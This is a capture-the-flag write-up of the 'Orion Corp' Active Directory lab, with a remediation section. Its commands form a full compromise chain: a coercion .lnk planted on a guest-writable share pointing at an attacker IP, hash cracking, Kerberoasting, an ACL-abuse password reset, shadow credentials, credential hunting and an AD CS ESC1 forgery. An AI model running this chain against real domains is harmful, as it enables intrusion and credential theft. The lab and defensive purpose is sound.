> REPORT: Orion Corp

Executive Summary

Orion Corp is an Easy rated multi machine Windows challenge from HackSmarter that chains a series of Active Directory misconfigurations to move from anonymous network access to full domain compromise. A workstation exposes a writable SMB share accessible to the guest account, which is abused to plant a malicious shortcut and coerce NTLM authentication from a domain user. The captured b.williams hash is cracked offline, providing an authenticated foothold. BloodHound enumeration reveals a Kerberoastable service account (svc-onboarding) whose hash is also cracked, unlocking an ACL abuse chain: ForceChangePassword over s.mitchell, who holds GenericWrite over m.white through a nested group. A shadow credential attack against m.white grants WinRM access and the user flag. Credential hunting through PowerShell history and an IT file share surfaces plaintext passwords for m.reeves and svc-pki. Finally, svc-pki’s membership in the Certificate Enrollers group enables an AD CS ESC1 attack, forging an administrator certificate to retrieve the Domain Admin NT hash and compromise the Domain Controller.

Attack Path

Tooling Analysis

The following tools were utilized during this engagement:

1. Enumeration & Reconnaissance

Service Scanning

The engagement began with a comprehensive Nmap scan across both hosts in scope:

nmap -p- -sV -sC -T4 -oN full_scan.txt 10.0.0.5-6

There are quite a few services open, including SMB (with signing required), LDAP, and WinRM, among several others. Let’s try to enumerate some of these services anonymously:

nxc smb 10.0.0.5 -u '' -p '' --shares --users
nxc smb 10.0.0.5 -u 'guest' -p '' --shares --rid-brute
ldapsearch -x -H ldap://10.0.0.5 -b "DC=orion,DC=local"
rpcclient -U "" -N 10.0.0.5

Both SMB and LDAP refused anonymous access, but I was able to connect via RPC:

Unfortunately, while you can authenticate with a null session, you can’t access anything with it.

2. Initial Access — Writable SMB Share & NTLM Coercion

Guest Share Access

Let’s try unauthenticated enumeration on the workstation next:

nxc smb 10.0.0.6 -u 'guest' -p '' --shares --users

We can access the Uploads share, which we have read/write permissions on as guest. Let’s use smbclient to connect to Uploads:

smbclient //10.0.0.6/Uploads -U 'guest'

We located a readme file, so we downloaded it. The readme lets us know that files uploaded there are processed daily. We’ve also located a potential username, helpdesk:

Coercion & Hash Capture

Since files in the share are processed automatically, let’s plant a coercion file and use Responder to listen. First, in another terminal window, set up Responder:

sudo responder -I tun0

Next, I used slinky to create a malicious .lnk file and upload it to the Uploads share:

nxc smb 10.0.0.6 -u 'guest' -p '' -M slinky -o SERVER=192.168.211.2 NAME=documents

Returning to Responder, we now have a NetNTLMv2 hash for b.williams:

Cracking the Hash

I saved the hash to b.williams.hash and used hashcat with rockyou to crack it:

hashcat -m 5600 b.williams.hash /usr/share/wordlists/rockyou.txt

3. Domain Enumeration & Kerberoasting

BloodHound Collection

Now that we have a foothold, let’s use BloodHound to figure out our next steps:

bloodhound-python -u b.williams -p '<REDACTED>' -d orion.local -ns 10.0.0.5 -c All --zip

Unfortunately, there’s no path to Domain Admin from the b.williams user.

Kerberoasting svc-onboarding

Let’s use Impacket’s GetUserSPNs module to find Kerberoastable accounts and save them to kerb.hash:

impacket-GetUserSPNs orion.local/b.williams:'<REDACTED>' -dc-ip 10.0.0.5 -request -format hashcat -outputfile kerb.hash

It found an svc-onboarding user, which appears to be a service account. Let’s crack this with hashcat since we have its TGS-REP hash:

hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt

4. Lateral Movement — ACL Abuse Chain

I then looked at the path to Domain Admin from the svc-onboarding user, which revealed a pretty clear route:

Here’s what we’ve learned: s.mitchell is the pivot. HelpdeskOps can ForceChangePassword on s.mitchell, and s.mitchell is a member of HelpdeskOps-Tier2, which has GenericWrite over m.white and d.miller. And m.white → MemberOf → WS-IT-RemoteAccess.

ForceChangePassword on s.mitchell

Let’s use bloodyAD to reset s.mitchell’s password:

bloodyAD --host 10.0.0.5 -d orion.local -u svc-onboarding -p '<REDACTED>' set password s.mitchell 'Autumn2026!'

Shadow Credentials on m.white

Next, we can abuse GenericWrite on m.white to plant a shadow credential and pull its hash/TGT. This means we don’t have to change m.white’s password:

certipy-ad shadow auto -u s.mitchell@orion.local -p 'Autumn2026!' -account m.white -dc-ip 10.0.0.5

Let’s use nxc to verify access to services with this user. I started with WinRM, which m.white has access to:

I connected to the WS-IT system as m.white with evil-winrm:

evil-winrm -i 10.0.0.6 -u m.white -H 1b4f4e8d871ad063ffded46cc620bbf6

User Flag

I was able to find the user.txt file in m.white’s Desktop:

5. Credential Hunting — m.reeves to svc-pki

Next, I enumerated info about m.white, who isn’t an administrator. The members of the administrators group are Domain Admins and WS-IT Admins. Let’s go back to BloodHound and pull data as m.white to see what we can find out about that particular group.

bloodhound-python -u m.white --hashes :1b4f4e8d871ad063ffded46cc620bbf6 -d orion.local -ns 10.0.0.5 -c All --zip

PowerShell History

Next I viewed the PowerShell history for m.white with:

gci C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -Force -EA SilentlyContinue | %{ "=== $_ ==="; type $_ }

This provides us with the password for m.reeves in plaintext. Let’s see what this user has access to:

nxc smb 10.0.0.6 -u m.reeves -p '<REDACTED>'

m.reeves is an admin on WS-IT, so in theory he has access to the other SMB shares on this system. Let’s enumerate them first with:

nxc smb 10.0.0.6 -u m.reeves -p '<REDACTED>' --shares

IT Share Script Credentials

It appears that m.reeves has read access to the Company and IT shares. Let’s poke around.

smbclient //10.0.0.6/IT -U 'orion.local/m.reeves%<REDACTED>'

Once connected, I ran:

recurse ON
prompt OFF
mget *

It looks like we pulled a few script files. Let’s see if any of those have plaintext credentials:

grep -riaE 'password|pwd|cpassword|secret|administrator|svc[-_]|BEGIN (RSA|OPENSSH)|SecureString' .

We now have credentials for svc-pki.

6. Privilege Escalation — AD CS ESC1 to Domain Admin

Identifying the Vulnerable Template

Review of the svc-pki account in BloodHound shows that it is a member of CERTIFICATE ENROLLERS. Let’s see if we can abuse AD CS:

certipy-ad find -u svc-pki@orion.local -p '<REDACTED>' -dc-ip 10.0.0.5 -vulnerable -stdout

Certipy found a template vulnerable to ESC1:

Requesting an Administrator Certificate

Let’s request a certificate as administrator. Note that since this is Server 2025, we need to include the SID for the administrator account or the request will fail:

certipy-ad req \
  -u svc-pki@orion.local -p '<REDACTED>' \
  -ca orion-DC01-CA -dc-ip 10.0.0.5 \
  -template OrionAuth \
  -upn administrator@orion.local \
  -sid S-1-5-21-285037524-3800758587-3641439792-500

Authenticating as Administrator

Next, let’s authenticate with the certificate that was created to get the administrator’s TGT + NT hash:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.0.0.5

Now we can connect as administrator to the Domain Controller:

evil-winrm -i 10.0.0.5 -u administrator -H <REDACTED>

Vulnerability Mapping (CWE)

Remediation & Mitigation Strategies

1. Disable Anonymous/Guest SMB Access and Restrict Share Permissions (NIST AC-3, CIS Control 3.3)

• Mitigation: Disable the guest account and remove guest/anonymous access to all SMB shares. Share and NTFS permissions must follow least privilege so that no untrusted principal holds write access to directories that are automatically processed. Where file-drop workflows are required, isolate the ingest location, restrict it to authenticated service identities, and monitor it for unexpected file types such as .lnk, .url, or .scf.

2. Mitigate NTLM Coercion and Relay (NIST IA-2(8), CIS Control 4.1)

• Mitigation: Disable NTLM where feasible and enforce Kerberos for authentication. Enable SMB signing and LDAP signing with channel binding to break relay attacks, and apply egress filtering so internal hosts cannot authenticate to attacker-controlled systems. Deploy detection for forced-authentication artifacts (malicious shortcut files, rogue responders) and alert on NetNTLM authentication to non-corporate destinations.

3. Enforce Strong Password and Service Account Policies (NIST IA-5(1), CIS Control 5.2)

• Mitigation: Require long, complex, non-dictionary passwords for all accounts and screen them against breached-password lists. Replace standard service accounts that carry SPNs with Group Managed Service Accounts (gMSA), which use long machine-generated passwords that resist Kerberoasting. Monitor for abnormal TGS-REP requests and bulk service-ticket enumeration as indicators of Kerberoasting activity.

4. Audit and Tighten Active Directory ACLs (NIST AC-6, CIS Control 6.8)

• Mitigation: Regularly audit AD object permissions with tooling such as BloodHound to identify dangerous rights like ForceChangePassword, GenericWrite, and GenericAll held by low-privilege or nested groups. Remove unnecessary delegated permissions, flatten nested group memberships, and implement a tiered administration model so that help-desk and workstation-admin groups cannot be chained into control of privileged accounts. Protect key attributes such as msDS-KeyCredentialLink to prevent shadow credential injection.

5. Eliminate Cleartext Credential Storage (NIST IA-5, SC-28, CIS Control 3.11)

• Mitigation: Credentials must never be stored in PowerShell history, scripts, or file shares in plaintext. Enforce HISTFILE hygiene, clear ConsoleHost_history.txt for privileged sessions, and move secrets into a dedicated secrets manager or Windows Credential Manager. Scan file shares and source repositories regularly for embedded credentials and rotate any that are discovered.

6. Harden AD CS Certificate Templates (NIST SC-17, CM-6, CIS Control 4.1)

• Mitigation: Remediate ESC1 by disabling the “Supply in the request” (enrollee-supplies-subject) flag on templates that grant client-authentication EKUs, or require manager approval for such enrollments. Restrict certificate enrollment permissions to only the groups that genuinely need them, remove low-privilege principals from Certificate Enrollers, and audit CA templates routinely with tools like Certipy to detect dangerous configurations before they can be abused.